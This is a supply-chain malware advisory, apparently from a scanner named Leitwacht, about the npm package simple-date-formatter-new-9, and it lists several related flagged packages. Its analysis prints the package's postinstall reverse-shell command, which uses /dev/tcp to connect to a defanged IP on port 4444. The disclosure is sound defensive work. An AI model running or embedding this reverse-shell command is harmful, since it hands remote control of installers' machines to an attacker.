LWA-2026-10872 confirmed malware
simple-date-formatter-new-9@1.0.0
Malicious code in simple-date-formatter-new-9 (npm)
T1059.004 · Unix ShellT1071.001 · Web Protocols
Analysis
The package's postinstall hook opens a reverse shell on install: it runs `sh -i >& /dev/tcp/124[.]221[.]154[.]135/4444 0>&1`, spawning an interactive shell that connects back to 124[.]221[.]154[.]135 on TCP port 4444, giving the remote host command execution on the installer's machine.
- analyzed by
- Leitwacht
- first seen
- Aug 9, 2026, 02:34 PM
- analyzed
- Aug 9, 2026, 02:34 PM
Related advisories
- dolyame-boxy-desktop-bnpl-text-block@35.9.7
- bnpl-blocks-independent-bnpl-documents@35.6.6
- devplatform-api-v2-resources-metadata@35.7.7
- bnpl-blocks-atom-bnpl-dangerously-html@35.2.4
- internallib_v524@1.0.2
- simple-date-formatter-new-8@1.0.0
- simple-date-formatter-new-7@1.0.0
- simple-date-formatter-new-6@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.